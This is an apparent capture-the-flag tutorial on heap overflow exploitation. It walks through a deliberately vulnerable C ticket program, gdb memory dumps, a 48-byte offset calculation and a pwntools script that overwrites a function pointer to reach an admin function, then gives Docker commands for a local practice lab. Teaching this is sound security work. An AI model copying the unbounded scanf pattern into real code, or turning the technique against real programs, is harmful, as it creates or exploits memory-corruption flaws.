Challenge example

The exploitation of a Heap overflow depend on the program implementation. With this example, the attacker can exploit this in order to jump to an arbitrary function : "admin"

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct user{
    char username[32];
    char password[32];
};

typedef struct ticket {
    void (*display)(struct ticket*);
    char username[32];
    char content[24];
} Ticket;

void display(Ticket *t){
    printf("%s\n", t->content);
}

char login(struct user *u){
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    if (strcmp(u->password, secret) == 0 && strcmp(u->password, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(){
    printf("Welcome admin\n");
    // Make admin stuff
}

int main(int argc, char **argv){
    int log;
    char c=1, i;
    char buf[8];
    
    struct user *u = malloc(sizeof(struct user));
    strcpy(u->username, "Guest");
    strcpy(u->password, "");
    
    struct ticket *t = malloc(sizeof(struct ticket));
    t->display = display;
    strcpy(t->content, "");
    strcpy(t->username, u->username);

    while(c){
        printf("Press enter char to continue...");
        fgets(buf, 8, stdin);
        getchar();
        printf("\e[1;1H\e[2J");
        printf("Welcome %-10s.\nWhat to do you want to do ?\n", u->username);
        printf("1 - Read ticket\n");
        printf("2 - Create ticket\n");
        printf("3 - Delete ticket\n");
        printf("4 - Submit tickets\n");
        printf("5 - login\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%1s", buf);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                printf("Resume : \n");
                t->display(t);
                break;
            case '2':
                printf("Ticket content : \n");
                scanf("%24s",t->content);
                fflush(stdout);
                break;
            case '5':
                printf("Please enter credentials : \n");
                printf("Username : ");
                scanf("%s", u->username);
                printf("Password : ");
                scanf("%s", u->password);
                if (login(u) == 1){
                    admin();
                }
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
    return 0;
}

Structures

There is two used structure inside this program :

• user

struct user{
    char username[32];
    char password[32];
};

This structure has a size = 64 bytes ( 32 for username and 32 for password )

• ticket

typedef struct ticket {
    void (*display)(struct ticket*);
    char username[32];
    char content[24];
} Ticket;

This structure has a size = 64 bytes ( 8 for *display , 32 for username and 24 for content )

Note: *display is a pointer to a function.

The two struct have the exact same size. It's not required but it's easier to exploit because the two allocated chunk will be taken from the same bin.

login()

char login(struct user *u){
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    if (strcmp(u->password, secret) == 0 && strcmp(u->password, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

This function will simply compare the username and the password with those for the admin user, if it's equals than the user is admin else it's a guest.

main

There is two parts into this function :

Variables setup

int log;
char c=1, i;
char buf[8];

struct user *u = malloc(sizeof(struct user));
strcpy(u->username, "Guest");
strcpy(u->password, "");

struct ticket *t = malloc(sizeof(struct ticket));
t->display = display;
strcpy(t->content, "");
strcpy(t->username, u->username);

This part setup needed variables.

Note that struct user *u = malloc(sizeof(struct user)); and struct ticket *t = malloc(sizeof(struct ticket)); are made directly one after the other.

Because there have the exact same size and their are declared at the same time, their position in memory will be side by side.

Menu loop

while(c){
        printf("Press enter char to continue...");
        fgets(buf, 8, stdin);
        getchar();
        printf("\e[1;1H\e[2J");
        printf("Welcome %-10s.\nWhat to do you want to do ?\n", u->username);
        printf("1 - Read ticket\n");
        printf("2 - Create ticket\n");
        printf("3 - Delete ticket\n");
        printf("4 - Submit tickets\n");
        printf("5 - login\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%1s", buf);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                printf("Resume : \n");
                t->display(t);
                break;
            case '2':
                printf("Ticket content : \n");
                scanf("%24s",t->content);
                fflush(stdout);
                break;
            case '5':
                printf("Please enter credentials : \n");
                printf("Username : ");
                scanf("%s", u->username);
                printf("Password : ");
                scanf("%s", u->password);
                if (login(u) == 1){
                    admin();
                }
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }

The user have some possible actions :

1. Read ticket

This action will call the display function pointed by the pointer stored inside the ticket.

1. Create ticket

This action will set the content and username values of the ticket

1. login

This action permit to the user to provide username and password to login.

Note: both username and password are get from user input without any length control.

Here is the overflow

Exploitation

As explain before, the two allocated chunk are side by side in memory and have the exact same size (64 bytes)

The objective is to overwrite the display pointer to make it point to the admin function.

Let's check the memory state :

gdb-peda$ i locals
log = <optimized out>
c = 0x1
i = 0x35
buf = "5\000\000\000\000\000\000"
u = 0x4052a0
t = 0x4052f0

u is stored at 0x4052a0 and t at 0x4052f0

By using login action, 10 A are put as username and 10 B as password to clearly identified their position in memory

The same is used for ticket content with 10 C

gdb-peda$ x/20x 0x4052a0
0x4052a0:       0x4141414141414141      0x0000000000004141
0x4052b0:       0x0000000000000000      0x0000000000000000
0x4052c0:       0x4242424242424242      0x4242424242004242
0x4052d0:       0x0000000000004242      0x0000000000000000
0x4052e0:       0x0000000000000000      0x0000000000000051
0x4052f0:       0x00000000004012b6      0x0000007473657547
0x405300:       0x0000000000000000      0x0000000000000000
0x405310:       0x0000000000000000      0x4343434343434343
0x405320:       0x0000000000004343      0x0000000000000000
0x405330:       0x0000000000000000      0x0000000000000411

Datas can clearly be identified :

username is at the beginning of the u chunk

Followed by password

Next there is the t metadatas

at 0x4052f0 there is the display pointer followed by the others ticket datas.

To overwrite the display pointer, it's needed to overwrite 0x4052f0 - 0x4052c0 = 48 bytes before writing the arbitrary address.

The amount of bytes to overwrite can also be calculated with data size :

password = 32 bytes

t metadatas = 16 bytes

16 + 32 = 48

The data send as password will then be : "A"*48 + p64(elf.symbols['admin'])

Exploit script

from pwn import *

elf = context.binary = ELF("./chall")

p = process()

p.sendline()

target = p64(elf.symbols['admin'])

def choice(c):
    p.sendline()
    p.recv(timeout=1)
    p.sendline(c)

def login(username, password):
    choice(b'5')
    p.recv(timeout=1)
    p.sendline(username)
    p.recv(timeout=1)
    p.sendline(password)

login(b"A", b"B"*48 + target)
choice(b'1')

p.interactive()
p.close()

Exercice

If you want to try this exploit by yourself, you can pull this docker image :

docker pull thectfrecipes/pwn:heap_overflow

Deploy the image using the followed command :

docker run --name heap_overflow -it --rm -d -p 3000:3000 thectfrecipes/pwn:heap_overflow

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password